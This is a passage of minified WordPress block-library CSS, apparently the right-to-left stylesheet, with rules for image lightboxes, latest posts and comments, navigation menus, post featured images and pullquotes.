r="50"/></svg>');mask-mode:alpha;-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain}}.wp-block-image :where(.has-border-color){border-style:solid}.wp-block-image :where([style*=border-top-color]){border-top-style:solid}.wp-block-image :where([style*=border-right-color]){border-left-style:solid}.wp-block-image :where([style*=border-bottom-color]){border-bottom-style:solid}.wp-block-image :where([style*=border-left-color]){border-right-style:solid}.wp-block-image :where([style*=border-width]){border-style:solid}.wp-block-image :where([style*=border-top-width]){border-top-style:solid}.wp-block-image :where([style*=border-right-width]){border-left-style:solid}.wp-block-image :where([style*=border-bottom-width]){border-bottom-style:solid}.wp-block-image :where([style*=border-left-width]){border-right-style:solid}.wp-block-image figure{margin:0}.wp-lightbox-container{display:flex;flex-direction:column;position:relative}.wp-lightbox-container img{cursor:zoom-in}.wp-lightbox-container img:hover+button{opacity:1}.wp-lightbox-container button{align-items:center;-webkit-backdrop-filter:blur(16px) saturate(180%);backdrop-filter:blur(16px) saturate(180%);background-color:#5a5a5a40;border:none;border-radius:4px;cursor:zoom-in;display:flex;height:20px;justify-content:center;left:16px;opacity:0;padding:0;position:absolute;text-align:center;top:16px;transition:opacity .2s ease;width:20px;z-index:100}.wp-lightbox-container button:focus-visible{outline:3px auto #5a5a5a40;outline:3px auto -webkit-focus-ring-color;outline-offset:3px}.wp-lightbox-container button:hover{cursor:pointer;opacity:1}.wp-lightbox-container button:focus{opacity:1}.wp-lightbox-container button:focus,.wp-lightbox-container button:hover,.wp-lightbox-container button:not(:hover):not(:active):not(.has-background){background-color:#5a5a5a40;border:none}.wp-lightbox-overlay{box-sizing:border-box;cursor:zoom-out;height:100vh;overflow:hidden;position:fixed;right:0;top:0;visibility:hidden;width:100%;z-index:100000}.wp-lightbox-overlay .close-button{align-items:center;cursor:pointer;display:flex;justify-content:center;left:calc(env(safe-area-inset-left) + 16px);min-height:40px;min-width:40px;padding:0;position:absolute;top:calc(env(safe-area-inset-top) + 16px);z-index:5000000}.wp-lightbox-overlay .close-button:focus,.wp-lightbox-overlay .close-button:hover,.wp-lightbox-overlay .close-button:not(:hover):not(:active):not(.has-background){background:none;border:none}.wp-lightbox-overlay .lightbox-image-container{height:var(--wp--lightbox-container-height);overflow:hidden;position:absolute;right:50%;top:50%;transform:translate(50%,-50%);transform-origin:top right;width:var(--wp--lightbox-container-width);z-index:9999999999}.wp-lightbox-overlay .wp-block-image{align-items:center;box-sizing:border-box;display:flex;height:100%;justify-content:center;margin:0;position:relative;transform-origin:100% 0;width:100%;z-index:3000000}.wp-lightbox-overlay .wp-block-image img{height:var(--wp--lightbox-image-height);min-height:var(--wp--lightbox-image-height);min-width:var(--wp--lightbox-image-width);width:var(--wp--lightbox-image-width)}.wp-lightbox-overlay .wp-block-image figcaption{display:none}.wp-lightbox-overlay button{background:none;border:none}.wp-lightbox-overlay .scrim{background-color:#fff;height:100%;opacity:.9;position:absolute;width:100%;z-index:2000000}.wp-lightbox-overlay.active{animation:turn-on-visibility .25s both;visibility:visible}.wp-lightbox-overlay.active img{animation:turn-on-visibility .35s both}.wp-lightbox-overlay.show-closing-animation:not(.active){animation:turn-off-visibility .35s both}.wp-lightbox-overlay.show-closing-animation:not(.active) img{animation:turn-off-visibility .25s both}@media (prefers-reduced-motion:no-preference){.wp-lightbox-overlay.zoom.active{animation:none;opacity:1;visibility:visible}.wp-lightbox-overlay.zoom.active .lightbox-image-container{animation:lightbox-zoom-in .4s}.wp-lightbox-overlay.zoom.active .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.active .scrim{animation:turn-on-visibility .4s forwards}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active){animation:none}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container{animation:lightbox-zoom-out .4s}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .scrim{animation:turn-off-visibility .4s forwards}}@keyframes turn-on-visibility{0%{opacity:0}to{opacity:1}}@keyframes turn-off-visibility{0%{opacity:1;visibility:visible}99%{opacity:0;visibility:visible}to{opacity:0;visibility:hidden}}@keyframes lightbox-zoom-in{0%{transform:translate(calc(((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position))*-1),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale))}to{transform:translate(50%,-50%) scale(1)}}@keyframes lightbox-zoom-out{0%{transform:translate(50%,-50%) scale(1);visibility:visible}99%{visibility:visible}to{transform:translate(calc(((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position))*-1),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));visibility:hidden}}ol.wp-block-latest-comments{box-sizing:border-box;margin-right:0}:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment)){line-height:1.1}:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment-excerpt p)){line-height:1.8}.has-dates :where(.wp-block-latest-comments:not([style*=line-height])),.has-excerpts :where(.wp-block-latest-comments:not([style*=line-height])){line-height:1.5}.wp-block-latest-comments .wp-block-latest-comments{padding-right:0}.wp-block-latest-comments__comment{list-style:none;margin-bottom:1em}.has-avatars .wp-block-latest-comments__comment{list-style:none;min-height:2.25em}.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt,.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta{margin-right:3.25em}.wp-block-latest-comments__comment-excerpt p{font-size:.875em;margin:.36em 0 1.4em}.wp-block-latest-comments__comment-date{display:block;font-size:.75em}.wp-block-latest-comments .avatar,.wp-block-latest-comments__comment-avatar{border-radius:1.5em;display:block;float:right;height:2.5em;margin-left:.75em;width:2.5em}.wp-block-latest-comments[class*=-font-size] a,.wp-block-latest-comments[style*=font-size] a{font-size:inherit}.wp-block-latest-posts{box-sizing:border-box}.wp-block-latest-posts.alignleft{margin-right:2em}.wp-block-latest-posts.alignright{margin-left:2em}.wp-block-latest-posts.wp-block-latest-posts__list{list-style:none;padding-right:0}.wp-block-latest-posts.wp-block-latest-posts__list li{clear:both}.wp-block-latest-posts.is-grid{display:flex;flex-wrap:wrap;padding:0}.wp-block-latest-posts.is-grid li{margin:0 0 1.25em 1.25em;width:100%}@media (min-width:600px){.wp-block-latest-posts.columns-2 li{width:calc(50% - .625em)}.wp-block-latest-posts.columns-2 li:nth-child(2n){margin-left:0}.wp-block-latest-posts.columns-3 li{width:calc(33.33333% - .83333em)}.wp-block-latest-posts.columns-3 li:nth-child(3n){margin-left:0}.wp-block-latest-posts.columns-4 li{width:calc(25% - .9375em)}.wp-block-latest-posts.columns-4 li:nth-child(4n){margin-left:0}.wp-block-latest-posts.columns-5 li{width:calc(20% - 1em)}.wp-block-latest-posts.columns-5 li:nth-child(5n){margin-left:0}.wp-block-latest-posts.columns-6 li{width:calc(16.66667% - 1.04167em)}.wp-block-latest-posts.columns-6 li:nth-child(6n){margin-left:0}}.wp-block-latest-posts__post-author,.wp-block-latest-posts__post-date{display:block;font-size:.8125em}.wp-block-latest-posts__post-excerpt{margin-bottom:1em;margin-top:.5em}.wp-block-latest-posts__featured-image a{display:inline-block}.wp-block-latest-posts__featured-image img{height:auto;max-width:100%;width:auto}.wp-block-latest-posts__featured-image.alignleft{float:left;margin-right:1em}.wp-block-latest-posts__featured-image.alignright{float:right;margin-left:1em}.wp-block-latest-posts__featured-image.aligncenter{margin-bottom:1em;text-align:center}ol,ul{box-sizing:border-box}ol.has-background,ul.has-background{padding:1.25em 2.375em}.wp-block-media-text{box-sizing:border-box;direction:ltr;display:grid;grid-template-columns:50% 1fr;grid-template-rows:auto}.wp-block-media-text.has-media-on-the-right{grid-template-columns:1fr 50%}.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__media{align-self:start}.wp-block-media-text .wp-block-media-text__content,.wp-block-media-text .wp-block-media-text__media,.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__media{align-self:center}.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__media{align-self:end}.wp-block-media-text .wp-block-media-text__media{grid-column:1;grid-row:1;margin:0}.wp-block-media-text .wp-block-media-text__content{direction:rtl;grid-column:2;grid-row:1;padding:0 8%;word-break:break-word}.wp-block-media-text.has-media-on-the-right .wp-block-media-text__media{grid-column:2;grid-row:1}.wp-block-media-text.has-media-on-the-right .wp-block-media-text__content{grid-column:1;grid-row:1}.wp-block-media-text__media img,.wp-block-media-text__media video{height:auto;max-width:unset;vertical-align:middle;width:100%}.wp-block-media-text.is-image-fill .wp-block-media-text__media{background-size:cover;height:100%;min-height:250px}.wp-block-media-text.is-image-fill .wp-block-media-text__media>a{display:block;height:100%}.wp-block-media-text.is-image-fill .wp-block-media-text__media img{height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;clip:rect(0,0,0,0);border:0}@media (max-width:600px){.wp-block-media-text.is-stacked-on-mobile{grid-template-columns:100%!important}.wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__media{grid-column:1;grid-row:1}.wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__content{grid-column:1;grid-row:2}}.wp-block-navigation{position:relative;--navigation-layout-justification-setting:flex-start;--navigation-layout-direction:row;--navigation-layout-wrap:wrap;--navigation-layout-justify:flex-start;--navigation-layout-align:center}.wp-block-navigation ul{margin-bottom:0;margin-right:0;margin-top:0;padding-right:0}.wp-block-navigation ul,.wp-block-navigation ul li{list-style:none;padding:0}.wp-block-navigation .wp-block-navigation-item{align-items:center;display:flex;position:relative}.wp-block-navigation .wp-block-navigation-item .wp-block-navigation__submenu-container:empty{display:none}.wp-block-navigation .wp-block-navigation-item__content{display:block}.wp-block-navigation .wp-block-navigation-item__content.wp-block-navigation-item__content{color:inherit}.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:focus{text-decoration:underline}.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:focus{text-decoration:line-through}.wp-block-navigation:where(:not([class*=has-text-decoration])) a{text-decoration:none}.wp-block-navigation:where(:not([class*=has-text-decoration])) a:active,.wp-block-navigation:where(:not([class*=has-text-decoration])) a:focus{text-decoration:none}.wp-block-navigation .wp-block-navigation__submenu-icon{align-self:center;background-color:inherit;border:none;color:currentColor;display:inline-block;font-size:inherit;height:.6em;line-height:0;margin-right:.25em;padding:0;width:.6em}.wp-block-navigation .wp-block-navigation__submenu-icon svg{display:inline-block;stroke:currentColor;height:inherit;margin-top:.075em;width:inherit}.wp-block-navigation.is-vertical{--navigation-layout-direction:column;--navigation-layout-justify:initial;--navigation-layout-align:flex-start}.wp-block-navigation.no-wrap{--navigation-layout-wrap:nowrap}.wp-block-navigation.items-justified-center{--navigation-layout-justification-setting:center;--navigation-layout-justify:center}.wp-block-navigation.items-justified-center.is-vertical{--navigation-layout-align:center}.wp-block-navigation.items-justified-right{--navigation-layout-justification-setting:flex-end;--navigation-layout-justify:flex-end}.wp-block-navigation.items-justified-right.is-vertical{--navigation-layout-align:flex-end}.wp-block-navigation.items-justified-space-between{--navigation-layout-justification-setting:space-between;--navigation-layout-justify:space-between}.wp-block-navigation .has-child .wp-block-navigation__submenu-container{align-items:normal;background-color:inherit;color:inherit;display:flex;flex-direction:column;height:0;opacity:0;overflow:hidden;position:absolute;right:-1px;top:100%;transition:opacity .1s linear;visibility:hidden;width:0;z-index:2}.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content{display:flex;flex-grow:1}.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content .wp-block-navigation__submenu-icon{margin-left:0;margin-right:auto}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation-item__content{margin:0}@media (min-width:782px){.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{right:100%;top:-1px}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{background:#0000;content:"";display:block;height:100%;left:100%;position:absolute;width:.5em}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon{margin-left:.25em}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon svg{transform:rotate(90deg)}}.wp-block-navigation .has-child .wp-block-navigation-submenu__toggle[aria-expanded=true]~.wp-block-navigation__submenu-container,.wp-block-navigation .has-child:not(.open-on-click):hover>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child:not(.open-on-click):not(.open-on-hover-click):focus-within>.wp-block-navigation__submenu-container{height:auto;min-width:200px;opacity:1;overflow:visible;visibility:visible;width:auto}.wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container{right:0;top:100%}@media (min-width:782px){.wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{right:100%;top:0}}.wp-block-navigation-submenu{display:flex;position:relative}.wp-block-navigation-submenu .wp-block-navigation__submenu-icon svg{stroke:currentColor}button.wp-block-navigation-item__content{background-color:initial;border:none;color:currentColor;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;line-height:inherit;text-align:right;text-transform:inherit}.wp-block-navigation-submenu__toggle{cursor:pointer}.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle{padding-left:.85em;padding-right:0}.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle+.wp-block-navigation__submenu-icon{margin-right:-.6em;pointer-events:none}.wp-block-navigation-item.open-on-click button.wp-block-navigation-item__content:not(.wp-block-navigation-submenu__toggle){padding:0}.wp-block-navigation .wp-block-page-list,.wp-block-navigation__container,.wp-block-navigation__responsive-close,.wp-block-navigation__responsive-container,.wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-dialog{gap:inherit}:where(.wp-block-navigation.has-background .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation.has-background .wp-block-navigation-submenu a:not(.wp-element-button)){padding:.5em 1em}:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu button.wp-block-navigation-item__content),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-pages-list__item button.wp-block-navigation-item__content){padding:.5em 1em}.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container{left:0;right:auto}.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:-1px;right:-1px}@media (min-width:782px){.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:100%;right:auto}}.wp-block-navigation:not(.has-background) .wp-block-navigation__submenu-container{background-color:#fff;border:1px solid #00000026}.wp-block-navigation.has-background .wp-block-navigation__submenu-container{background-color:inherit}.wp-block-navigation:not(.has-text-color) .wp-block-navigation__submenu-container{color:#000}.wp-block-navigation__container{align-items:var(--navigation-layout-align,initial);display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial);list-style:none;margin:0;padding-right:0}.wp-block-navigation__container .is-responsive{display:none}.wp-block-navigation__container:only-child,.wp-block-page-list:only-child{flex-grow:1}@keyframes overlay-menu__fade-in-animation{0%{opacity:0;transform:translateY(.5em)}to{opacity:1;transform:translateY(0)}}.wp-block-navigation__responsive-container{bottom:0;display:none;left:0;position:fixed;right:0;top:0}.wp-block-navigation__responsive-container :where(.wp-block-navigation-item a){color:inherit}.wp-block-navigation__responsive-container .wp-block-navigation__responsive-container-content{align-items:var(--navigation-layout-align,initial);display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial)}.wp-block-navigation__responsive-container:not(.is-menu-open.is-menu-open){background-color:inherit!important;color:inherit!important}.wp-block-navigation__responsive-container.is-menu-open{animation:overlay-menu__fade-in-animation .1s ease-out;animation-fill-mode:forwards;background-color:inherit;display:flex;flex-direction:column;overflow:auto;padding:clamp(1rem,var(--wp--style--root--padding-top),20rem) clamp(1rem,var(--wp--style--root--padding-left),20em) clamp(1rem,var(--wp--style--root--padding-bottom),20rem) clamp(1rem,var(--wp--style--root--padding-right),20rem);z-index:100000}@media (prefers-reduced-motion:reduce){.wp-block-navigation__responsive-container.is-menu-open{animation-delay:0s;animation-duration:1ms}}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content{align-items:var(--navigation-layout-justification-setting,inherit);display:flex;flex-direction:column;flex-wrap:nowrap;overflow:visible;padding-top:calc(2rem + 24px)}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{justify-content:flex-start}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-icon{display:none}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .has-child .wp-block-navigation__submenu-container{border:none;height:auto;min-width:200px;opacity:1;overflow:initial;padding-left:2rem;padding-right:2rem;position:static;visibility:visible;width:auto}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{gap:inherit}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{padding-top:var(--wp--style--block-gap,2em)}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item__content{padding:0}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{align-items:var(--navigation-layout-justification-setting,initial);display:flex;flex-direction:column}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item .wp-block-navigation__submenu-container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-page-list{background:#0000!important;color:inherit!important}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{left:auto;right:auto}@media (min-width:600px){.wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open){background-color:inherit;display:block;position:relative;width:100%;z-index:auto}.wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open) .wp-block-navigation__responsive-container-close{display:none}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{right:0}}.wp-block-navigation:not(.has-background) .wp-block-navigation__responsive-container.is-menu-open{background-color:#fff}.wp-block-navigation:not(.has-text-color) .wp-block-navigation__responsive-container.is-menu-open{color:#000}.wp-block-navigation__toggle_button_label{font-size:1rem;font-weight:700}.wp-block-navigation__responsive-container-close,.wp-block-navigation__responsive-container-open{background:#0000;border:none;color:currentColor;cursor:pointer;margin:0;padding:0;text-transform:inherit;vertical-align:middle}.wp-block-navigation__responsive-container-close svg,.wp-block-navigation__responsive-container-open svg{fill:currentColor;display:block;height:24px;pointer-events:none;width:24px}.wp-block-navigation__responsive-container-open{display:flex}.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{font-family:inherit;font-size:inherit;font-weight:inherit}@media (min-width:600px){.wp-block-navigation__responsive-container-open:not(.always-shown){display:none}}.wp-block-navigation__responsive-container-close{left:0;position:absolute;top:0;z-index:2}.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close{font-family:inherit;font-size:inherit;font-weight:inherit}.wp-block-navigation__responsive-close{width:100%}.has-modal-open .wp-block-navigation__responsive-close{margin-left:auto;margin-right:auto;max-width:var(--wp--style--global--wide-size,100%)}.wp-block-navigation__responsive-close:focus{outline:none}.is-menu-open .wp-block-navigation__responsive-close,.is-menu-open .wp-block-navigation__responsive-container-content,.is-menu-open .wp-block-navigation__responsive-dialog{box-sizing:border-box}.wp-block-navigation__responsive-dialog{position:relative}.has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{margin-top:46px}@media (min-width:782px){.has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{margin-top:32px}}html.has-modal-open{overflow:hidden}.wp-block-navigation .wp-block-navigation-item__label{overflow-wrap:break-word}.wp-block-navigation .wp-block-navigation-item__description{display:none}.link-ui-tools{border-top:1px solid #f0f0f0;padding:8px}.link-ui-block-inserter{padding-top:8px}.link-ui-block-inserter__back{margin-right:8px;text-transform:uppercase}.components-popover-pointer-events-trap{background-color:initial;cursor:pointer;inset:0;position:fixed;z-index:1000000}.wp-block-navigation .wp-block-page-list{align-items:var(--navigation-layout-align,initial);background-color:inherit;display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial)}.wp-block-navigation .wp-block-navigation-item{background-color:inherit}.is-small-text{font-size:.875em}.is-regular-text{font-size:1em}.is-large-text{font-size:2.25em}.is-larger-text{font-size:3em}.has-drop-cap:not(:focus):first-letter{float:right;font-size:8.4em;font-style:normal;font-weight:100;line-height:.68;margin:.05em 0 0 .1em;text-transform:uppercase}body.rtl .has-drop-cap:not(:focus):first-letter{float:none;margin-right:.1em}p.has-drop-cap.has-background{overflow:hidden}p.has-background{padding:1.25em 2.375em}:where(p.has-text-color:not(.has-link-color)) a{color:inherit}p.has-text-align-left[style*="writing-mode:vertical-lr"],p.has-text-align-right[style*="writing-mode:vertical-rl"]{rotate:180deg}.wp-block-post-author{display:flex;flex-wrap:wrap}.wp-block-post-author__byline{font-size:.5em;margin-bottom:0;margin-top:0;width:100%}.wp-block-post-author__avatar{margin-left:1em}.wp-block-post-author__bio{font-size:.7em;margin-bottom:.7em}.wp-block-post-author__content{flex-basis:0;flex-grow:1}.wp-block-post-author__name{margin:0}.wp-block-post-comments-form{box-sizing:border-box}.wp-block-post-comments-form[style*=font-weight] :where(.comment-reply-title){font-weight:inherit}.wp-block-post-comments-form[style*=font-family] :where(.comment-reply-title){font-family:inherit}.wp-block-post-comments-form[class*=-font-size] :where(.comment-reply-title),.wp-block-post-comments-form[style*=font-size] :where(.comment-reply-title){font-size:inherit}.wp-block-post-comments-form[style*=line-height] :where(.comment-reply-title){line-height:inherit}.wp-block-post-comments-form[style*=font-style] :where(.comment-reply-title){font-style:inherit}.wp-block-post-comments-form[style*=letter-spacing] :where(.comment-reply-title){letter-spacing:inherit}.wp-block-post-comments-form input[type=submit]{box-shadow:none;cursor:pointer;display:inline-block;overflow-wrap:break-word;text-align:center}.wp-block-post-comments-form input:not([type=submit]),.wp-block-post-comments-form textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-post-comments-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments-form textarea{padding:calc(.667em + 2px)}.wp-block-post-comments-form .comment-form input:not([type=submit]):not([type=checkbox]):not([type=hidden]),.wp-block-post-comments-form .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-post-comments-form .comment-form-author label,.wp-block-post-comments-form .comment-form-email label,.wp-block-post-comments-form .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-post-comments-form .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-post-comments-form .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-post-comments-form .comment-reply-title{margin-bottom:0}.wp-block-post-comments-form .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-right:.5em}.wp-block-post-date{box-sizing:border-box}:where(.wp-block-post-excerpt){margin-bottom:var(--wp--style--block-gap);margin-top:var(--wp--style--block-gap)}.wp-block-post-excerpt__excerpt{margin-bottom:0;margin-top:0}.wp-block-post-excerpt__more-text{margin-bottom:0;margin-top:var(--wp--style--block-gap)}.wp-block-post-excerpt__more-link{display:inline-block}.wp-block-post-featured-image{margin-left:0;margin-right:0}.wp-block-post-featured-image a{display:block;height:100%}.wp-block-post-featured-image img{box-sizing:border-box;height:auto;max-width:100%;vertical-align:bottom;width:100%}.wp-block-post-featured-image.alignfull img,.wp-block-post-featured-image.alignwide img{width:100%}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim{background-color:#000;inset:0;position:absolute}.wp-block-post-featured-image{position:relative}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-gradient{background-color:initial}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-0{opacity:0}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-10{opacity:.1}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-20{opacity:.2}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-30{opacity:.3}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-40{opacity:.4}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-50{opacity:.5}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-60{opacity:.6}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-70{opacity:.7}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-80{opacity:.8}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-90{opacity:.9}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-100{opacity:1}.wp-block-post-featured-image:where(.alignleft,.alignright){width:100%}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous{display:inline-block;margin-left:1ch}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next{display:inline-block;margin-right:1ch}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-post-navigation-link.has-text-align-left[style*="writing-mode: vertical-lr"],.wp-block-post-navigation-link.has-text-align-right[style*="writing-mode: vertical-rl"]{rotate:180deg}.wp-block-post-terms{box-sizing:border-box}.wp-block-post-terms .wp-block-post-terms__separator{white-space:pre-wrap}.wp-block-post-time-to-read,.wp-block-post-title{box-sizing:border-box}.wp-block-post-title{word-break:break-word}.wp-block-post-title a{display:inline-block}.wp-block-preformatted{box-sizing:border-box;white-space:pre-wrap}:where(.wp-block-preformatted.has-background){padding:1.25em 2.375em}.wp-block-pullquote{box-sizing:border-box;overflow-wrap:break-word;padding:4em 0;text-align:center}.wp-block-pullquote blockquote,.wp-block-pullquote cite,.wp-block-pullquote p{color:inherit}.wp-block-pullquote blockquote{margin:0}.wp-block-pullquote p{margin-top:0}.wp-block-pullquote p:last-child{margin-bottom:0}.wp-block-pullquote.alignleft,.wp-block-pullquote.alignright{max-width:420px}.wp-block-pullquote cite,.wp-block-pullquote footer{position:relative}.wp-block-pullquote .has-text-color a{color:inherit}:where(.wp-block-pullquote){margin:0 0 1em}.wp-block-pullquote.has-text-align-left blockquote{text-align:right}.wp-block-pullquote.has-text-align-right blockquote{text-align:left}.wp-block-pullquote.is-style-solid-color{border:none}.wp-block-pullquote.is-style-solid-color 